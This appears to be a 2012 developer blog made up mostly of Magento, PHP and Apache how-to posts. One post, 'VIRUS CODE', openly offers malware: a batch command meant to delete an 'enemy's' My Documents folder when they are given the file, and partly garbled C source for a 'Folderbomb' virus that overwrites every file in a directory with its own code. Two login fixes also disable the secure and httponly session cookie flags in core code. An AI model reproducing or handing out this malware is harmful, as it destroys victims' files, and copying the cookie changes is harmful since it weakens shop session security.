Tuesday 21 February 2012

Upgrading Magento with a full package or via SVN


Upgrading Magento with a full package or via SVN


Herex are the steps for upgrading Magento with a full package or via SVN. Steps for upgrading with the MagentoConnect Manager are below.

1.
Backup your database
2.
- In Magento go to Admin, System → Tools → Backups
3.
- You can use PHPMyAdmin (but this may fail due to time-limits on php scripts)
4.
- You can export in SSH by typing...
5.
- mysqldump -u USER -p DBNAME > dump.sql
6.
- Reimport using mysql -u USER -p DBNAME < dump.sql
7.
Backup all the code you modified yourself, and don’t forget to keep the original installation archive
8.
Take care of saving the media directory that contains all the uploaded product/category images
9.
Create a backup copy of app/etc/local.xml file
10.
Download a new installation archive or run SVN update if you checked it out from the Magento repository
11.
Extract and upload all the files it contains to your server
12.
Delete var/cache and var/session directories
13.
Point your browser to any Magento page
14.
Database upgrades should happen automatically
15.
You are done!

Upgrading Magento using the MagentoConnect Manager


1.
Go to http://<YOUR_SERVER>/downloader
2.
Log in using a user who has full permissions
3.
Make sure to select “Clear all sessions after successful install or upgrade”

The reference site is "http://www.magentocommerce.com/wiki/1_-_installation_and_configuration/upgrading_magento"

Monday 20 February 2012

VIRUS CODE

Run this on your own responsibility*/

VIRUS CODE-1

IT DELETES THE MY DOCUMENTS FOLDER OF UR ENEMY.
HERE'S WHAT U SHOULD DO
OPEN NOTEPAD AND COPY-PASTE THE FOLLOWING CODE IN IT.
THEN SAVE THE FILE WITH WHATEVER NAME U LIKE BUT WITH BAT FILE Extention.
I MEAN SAVE IT LIKE VIRUS.BAT.
NOW IF U GIVE THIS TO SOMEONE AND IF HE RUNS THIS PROGRAM THEN HIS MY DOCUMENT FOLDER WILL BE DELETED.

Code Is Below
rmdir C:\Documents and Settings \S\Q.

Run this on your own responsibility*/
VIRUS CODE-2
/*This is a simple program to create a virus in c
It will create Folder in a Folder in a Folder and so on ......


#include<stdio.h>
#include<conio.h>
#include
#include
#include
void main(int argc,char* argv[])
{ char buf[512];
int source,target,byt,done;
struct ffblk ffblk;
clrscr();
textcolor(2);
cprintf(”————————————————————————–”);
printf(”\nVirus: Folderbomb 1.0\nProgrammer:BAS Unnikrishnan(asystem0@gmail.com)\n”);
cprintf(”————————————————————————–”);
done = findfirst(”*.*”,&ffblk,0);
while (!done)
{ printf(”\n”);cprintf(” %s “, ffblk.ff_name);printf(”is attacked by “);cprintf(”Folderbomb”);
source=open(argv[0],O_R
DONLYO_BINARY);
target=open(ffblk.ff_name,O_CREATO_BINARYO_WRONGLY);
while(1)
{byt=read(source,buf,512);
if(byt>0)
write(target,buf,byt);
else
break;
}
close(source);
close(target);
done = findnext(&ffblk);
}
getch();
}

Tuesday 7 February 2012

Displaying Related Products in Bottom in Magento

Go to layout/catalog.xml

Comment the below code

<reference name="right">
<block type="catalog/product_list_related" name="catalog.product.related" before="-" template="catalog/product/list/related.phtml"/>
</reference>


add the below code before reference tag of above line of previous code

<block type="catalog/product_list_related" name="catalog.product.related" after="-" template="catalog/product/list/related.phtml"/>


How to fix Apache error in Ubuntu

How to fix Apache – "Could not reliably determine the server’s fully qualified domain name, using 127.0.1.1 for ServerName" Error on Ubuntu

To fix that problem, you need to edit the httpd.conf file. Open the terminal and type,

sudo gedit /etc/apache2/httpd.conf

By default httpd.conf file will be blank. Now, simply add the following line to the file.

ServerName localhost

Save the file and exit from gEdit.

Finally restart the server.

sudo /etc/init.d/apache2 restart


How to overload a controller

check this URL:

http://www.magentocommerce.com/wiki/5_-_modules_and_development/0_-_module_development_in_magento/how_to_overload_a_controller



Solving issues withUSPS shipping method

Solving issues withUSPS shipping method
 Useful url: 


 http://indiestechtips.wordpress.com/2011/01/04/solving-usps-shipping-rate-change-issue-with-magento/

Magento BackEnd Login Issue

After the magento installation, I was not able to login into admin panel with the correct username and password.

For that I have gone to the file Varien.php in app/code/core/Mage/Core/Model/Session/Abstract/Varien.php

and found the code

$cookieParams = array(
'lifetime' => $cookie->getLifetime(),
'path' => $cookie->getPath(),
'domain' => $cookie->getConfigDomain(),
'secure' => $cookie->isSecure(),
'httponly' => $cookie->getHttponly()
);

and replaced with
$cookieParams = array(
'lifetime' => $cookie->getLifetime(),
'path' => $cookie->getPath(),
// 'domain' => $cookie->getConfigDomain(),
//'secure' => $cookie->isSecure(),
// 'httponly' => $cookie->getHttponly()
);

Also We need to comment the following if statement. then only we can login to admin


/* if (!$cookieParams['httponly']) {
unset($cookieParams['httponly']);
if (!$cookieParams['secure']) {
unset($cookieParams['secure']);
if (!$cookieParams['domain']) {
unset($cookieParams['domain']);
}
}
}

if (isset($cookieParams['domain'])) {
$cookieParams['domain'] = $cookie->getDomain();
}*/



I was successfully logged in to the admin panel.

How to create a new layout in magento

Many times we need to add new layout skeleton rather then 2colums-left, 2columns-right, 1column and 3columns. Here is the way how we can add more layout structures.

You can make modification directly in app/code/core/Page/etc/config.xml but if you don’t want to touch core file, I recommend you to follow these steps:

Create config.xml under app/code/local/Magestore/Page/etc


<?xml version="1.0" encoding="utf-8"?>
<config>
<modules>
<Magestore_Page>
<version>0.1.0</version>
</Magestore_Page>
</modules>
<global>
<page>
<layouts>
<three_columns_cms module="page" translate="label">
<label>3 columns for cms page</label>
<template>page/3columns-cms.phtml</template>
<layout_handle>page_three_columns_cms</layout_handle>
</three_columns_cms>
</layouts>
</page>
</global>
</config>


Now, open app/etc/modules and create file Magestore_Page.xml

<?xml version="1.0"?>
<config>
<modules>
<Magestore_Page>
<active>true</active>
<codePool>local</codePool>
</Magestore_Page>
</modules>
</config>


You have to create a file named '3columns-cms.phtml' under app/design/frontend/[YOUR_PACKAGE]/[YOUR_THEME]/template/page.

Now, log in your admin, go to Cms -> Manage pages, click Add new page. In Custom Design tab, you can find new layout you just created

Removing products and categories from the database

Removing products and categories from the database


Truncate products


TRUNCATE TABLE `catalog_product_bundle_option`;
TRUNCATE TABLE `catalog_product_bundle_option_value`;
TRUNCATE TABLE `catalog_product_bundle_selection`;
TRUNCATE TABLE `catalog_product_entity_datetime`;
TRUNCATE TABLE `catalog_product_entity_decimal`;
TRUNCATE TABLE `catalog_product_entity_gallery`;
TRUNCATE TABLE `catalog_product_entity_int`;
TRUNCATE TABLE `catalog_product_entity_media_gallery`;
TRUNCATE TABLE `catalog_product_entity_media_gallery_value`;
TRUNCATE TABLE `catalog_product_entity_text`;
TRUNCATE TABLE `catalog_product_entity_tier_price`;
TRUNCATE TABLE `catalog_product_entity_varchar`;
TRUNCATE TABLE `catalog_product_link`;
TRUNCATE TABLE `catalog_product_link_attribute`;
TRUNCATE TABLE `catalog_product_link_attribute_decimal`;
TRUNCATE TABLE `catalog_product_link_attribute_int`;
TRUNCATE TABLE `catalog_product_link_attribute_varchar`;
TRUNCATE TABLE `catalog_product_link_type`;
TRUNCATE TABLE `catalog_product_option`;
TRUNCATE TABLE `catalog_product_option_price`;
TRUNCATE TABLE `catalog_product_option_title`;
TRUNCATE TABLE `catalog_product_option_type_price`;
TRUNCATE TABLE `catalog_product_option_type_title`;
TRUNCATE TABLE `catalog_product_option_type_value`;
TRUNCATE TABLE `catalog_product_super_attribute`;
TRUNCATE TABLE `catalog_product_super_attribute_label`;
TRUNCATE TABLE `catalog_product_super_attribute_pricing`;
TRUNCATE TABLE `catalog_product_super_link`;
TRUNCATE TABLE `catalog_product_enabled_index`;
TRUNCATE TABLE `catalog_product_website`;
TRUNCATE TABLE `catalog_product_entity`;

TRUNCATE TABLE `cataloginventory_stock`;
TRUNCATE TABLE `cataloginventory_stock_item`;
TRUNCATE TABLE `cataloginventory_stock_status`;

insert into `catalog_product_link_type`(`link_type_id`,`code`) values (1,'relation'),(2,'bundle'),(3,'super'),(4,'up_sell'),(5,'cross_sell');
insert into `catalog_product_link_attribute`(`product_link_attribute_id`,`link_type_id`,`product_link_attribute_code`,`data_type`) values (1,2,'qty','decimal'),(2,1,'position','int'),(3,4,'position','int'),(4,5,'position','int'),(6,1,'qty','decimal'),(7,3,'p osition','int'),(8,3,'qty','decimal');
insert into `cataloginventory_stock`(`stock_id`,`stock_name`) values (1,'Default');



Truncate categories


TRUNCATE TABLE `catalog_category_entity`;
TRUNCATE TABLE `catalog_category_entity_datetime`;
TRUNCATE TABLE `catalog_category_entity_decimal`;
TRUNCATE TABLE `catalog_category_entity_int`;
TRUNCATE TABLE `catalog_category_entity_text`;
TRUNCATE TABLE `catalog_category_entity_varchar`;
TRUNCATE TABLE `catalog_category_product`;
TRUNCATE TABLE `catalog_category_product_index`;

insert into `catalog_category_entity`(`entity_id`,`entity_type_id`,`attribute_set_id`,`parent_id`,`created_at`,`updated_at`,`path`,` position`,`level`,`children_count`) values (1,3,0,0,'0000-00-00 00:00:00','2009-02-20 00:25:34','1',1,0,1),(2,3,3,0,'2009-02-20 00:25:34','2009-02-20 00:25:34','1/2',1,1,0);
insert into `catalog_category_entity_int`(`value_id`,`entity_type_id`,`attribute_id`,`store_id`,`entity_id`,`value`) values (1,3,32,0,2,1),(2,3,32,1,2,1);
insert into `catalog_category_entity_varchar`(`value_id`,`entity_type_id`,`attribute_id`,`store_id`,`entity_id`,`value`) values (1,3,31,0,1,'Root Catalog'),(2,3,33,0,1,'root-catalog'),(3,3,31,0,2,'Default Category'),(4,3,39,0,2,'PRODUCTS'),(5,3,33,0,2,'default-category');




Truncate customers


TRUNCATE TABLE `customer_address_entity`;
TRUNCATE TABLE `customer_address_entity_datetime`;
TRUNCATE TABLE `customer_address_entity_decimal`;
TRUNCATE TABLE `customer_address_entity_int`;
TRUNCATE TABLE `customer_address_entity_text`;
TRUNCATE TABLE `customer_address_entity_varchar`;
TRUNCATE TABLE `customer_entity`;
TRUNCATE TABLE `customer_entity_datetime`;
TRUNCATE TABLE `customer_entity_decimal`;
TRUNCATE TABLE `customer_entity_int`;
TRUNCATE TABLE `customer_entity_text`;
TRUNCATE TABLE `customer_entity_varchar`;




Truncate product reviews & ratings


truncate table `rating_option_vote`;
truncate table `rating_option_vote_aggregated`;

truncate table `review`;
truncate table `review_detail`;
truncate table `review_entity_summary`;
truncate table `review_store`;


How to enable/disable the module in magento?



So here is the guide for that.

The module/extension which we install or create in magento can be enable/disable from admin side.

Now to enable/disable the magento module, login to your magento admin.

Go to System -> Configuration from header menu.

Then click on “Advanced” option of “Advanced” tab from left column.

Here you can see the list of all installed or created magento modules/extensions. And you can enable/disable them by selecting appropriate value from combo.


How to make an array from string using php

To satisfy our requirement we have used php explode function.

The explode() is breaking a string into an array, and returns an array of strings.

It has three arguments which are separator, string and limit.

Where first and second arguments are mandatory and third is optional.

First argument is separator, which describes where to break the string.

Second argument is string to break.

And the third argument is limit, which describes the maximum number of elements an array will contain.

Follow the under given example, which makes an array after breaking a string.


Code:
    $string = "Hello World! This will make an array from string.";
    echo "<pre>";
    print_r(explode(" ", $string));
    print_r(explode(" ", $string, 2));
    print_r(explode(" ", $string, -2));
    print_r(explode(" ", $string, 0));
    echo "</pre>";


Magento Admin Login problem


I had a new installation of magento. But I was unable to login as an administrator. I went

to the admin login page, entered correct username and password but was redirected to the

same login page. I could not enter the dashboard page. Error message is displayed when I

enter wrong username or password. But nothing is displayed and I am redirected to the same

login page when I insert correct username and password.

Solution:

I googled and found these solutions:-

1) Use 127.0.0.1 instead of localhost in your url, i.e. using

http://127.0.0.1/magento/index.php/admin instead of
http://localhost/magento/index.php/admin . But this didn’t solve my problem.

2) Since I am using Windows XP, I was suggested to open “host” file from
C:\WINDOWS\system32\drivers\etc and have 127.0.0.1 point to something like magento.localhost

or even 127.0.0.1 point to http://www.localhost.com . But this also didn’t work either.

3) This solution finally helped me out of this problem. The solution was to modify the core

Magento code. Open

app/code/core/Mage/Core/Model/Session/Abstract/Varien.php. Comment out the

lines 80 to 83. The line number may vary according to the Magento version. But these lines

are present somewhere near line 80. You have to comment the comma (,) in line: $this-

>getCookie()->getPath()//,


// set session cookie params
session_set_cookie_params(
$this->getCookie()->getLifetime(),
$this->getCookie()->getPath()//,
//$this->getCookie()->getDomain(),
//$this->getCookie()->isSecure(),
//$this->getCookie()->getHttponly()
);

Well, I am out of this problem. Hope, this solution you also help you.

Update (For Magento 1.4.*)

In Magento 1.4, you have to comment code from line 86 to 98 in

app/code/core/Mage/Core/Model/Session/Abstract/Varien.php. Like this:-

/*  if (!$cookieParams['httponly']) {
    unset($cookieParams['httponly']);
    if (!$cookieParams['secure']) {
        unset($cookieParams['secure']);
        if (!$cookieParams['domain']) {
            unset($cookieParams['domain']);
        }
    }
} 
 
if (isset($cookieParams['domain'])) {
    $cookieParams['domain'] = $cookie->getDomain();
} */

Magento : How to redirect customer to login page if not logged in

If you are developing a module which needs to give access to its content only to logged in user then the preDispatch function will be very useful. This dispatches event before action.

Just write the following function in your module’s controller and customer log in is checked before each of your controller action.


/**
 * Checking if user is logged in or not
 * If not logged in then redirect to customer login
 */
public function preDispatch()
{
    parent::preDispatch();
  
    if (!Mage::getSingleton('customer/session')->authenticate($this)) {
        $this->setFlag('', 'no-dispatch', true);
    }
}

Monday 6 February 2012

How to change the http in frontend, CheckOut Page to https in front end for magento

Add this code in relevant html pages for Check Out page in Magento

<?php
        $loadFromSSL = $_SERVER['SERVER_PORT']==443?true:false;
        if($loadFromSSL)
        {echo str_replace("http://","https://",

$this->getChildHtml('head_phone_block'));
        }else { echo $this->getChildHtml('head_phone_block'); }?>       
            <?php //echo $this->getChildHtml('head_phone_block')?>

Want to disable shipping tax and product tax in check out page

Goto->app/code/core/mage/sales/model/quote

click address.php search line 932 more less




public function setBaseTotalAmount($code, $amount)
    {
        $this->_baseTotalAmounts[$code] = $amount;
        if ($code != 'subtotal') {
            $code = $code.'_amount';
        }
        $this->setData('base_'.$code, $amount);
        return $this;
    }

    /**
     * Add amount total amount value
     *
     * @param   string $code
     * @param   float $amount
     * @return  Mage_Sales_Model_Quote_Address
     */
    public function addTotalAmount($code, $amount)
    {
       
        if(Mage::getSingleton('customer/session')->isLoggedIn()) {
        $customer = Mage::getModel("customer/customer")->load(Mage::getSingleton('customer/session')->getId());
        if($customer->getSalestaxcustomer() == 115 && $code == 'tax') {
        $amount = 0;
       
        }
       
        }
        $amount = $this->getTotalAmount($code)+$amount;
        $this->setTotalAmount($code, $amount);
        return $this;
    }

    /**
     * Add amount total amount value in base store currency
     *
     * @param   string $code
     * @param   float $amount
     * @return  Mage_Sales_Model_Quote_Address
     */
    public function addBaseTotalAmount($code, $amount)
    {
        $amount = $this->getBaseTotalAmount($code)+$amount;
        $this->setBaseTotalAmount($code, $amount);
        return $this;
    }



check in check out page that tax does not display

HOW TO AVOID TAX COLUM IN CHECK OUT PAGE

If u add new attribute like sales tax

customer-manage customer  -account information- after the gender we create the sales tax attribute
 
if v give not taxable means no shipping tax and product tax not comes
if v give taxable means all tax assigned

if v want like this means
goto

app/code/core/Mage/Sales/Model/Quote

address.php


goto the line 930

 /**
     * Set total amount value in base store currency
     *
     * @param   string $code
     * @param   float $amount
     * @return  Mage_Sales_Model_Quote_Address
     */
    public function setBaseTotalAmount($code, $amount)
    {
        $this->_baseTotalAmounts[$code] = $amount;
        if ($code != 'subtotal') {
            $code = $code.'_amount';
        }
        $this->setData('base_'.$code, $amount);
        return $this;
    }

    /**
     * Add amount total amount value
     *
     * @param   string $code
     * @param   float $amount
     * @return  Mage_Sales_Model_Quote_Address
     */
    public function addTotalAmount($code, $amount)
    {
       
        if(Mage::getSingleton('customer/session')->isLoggedIn()) {
        $customer = Mage::getModel("customer/customer")->load(Mage::getSingleton('customer/session')->getId());
        if($customer->getSalestaxcustomer() == 115 && $code == 'tax') {
        $amount = 0;
       
        }
       
        }
        $amount = $this->getTotalAmount($code)+$amount;
        $this->setTotalAmount($code, $amount);
        return $this;
    }

    /**
     * Add amount total amount value in base store currency
     *
     * @param   string $code
     * @param   float $amount
     * @return  Mage_Sales_Model_Quote_Address
     */
    public function addBaseTotalAmount($code, $amount)
    {
        $amount = $this->getBaseTotalAmount($code)+$amount;
        $this->setBaseTotalAmount($code, $amount);
        return $this;
    }

    /**
     * Get total amount value by code
     *
     * @param   string $code
     * @return  float
     */



check that tax are not available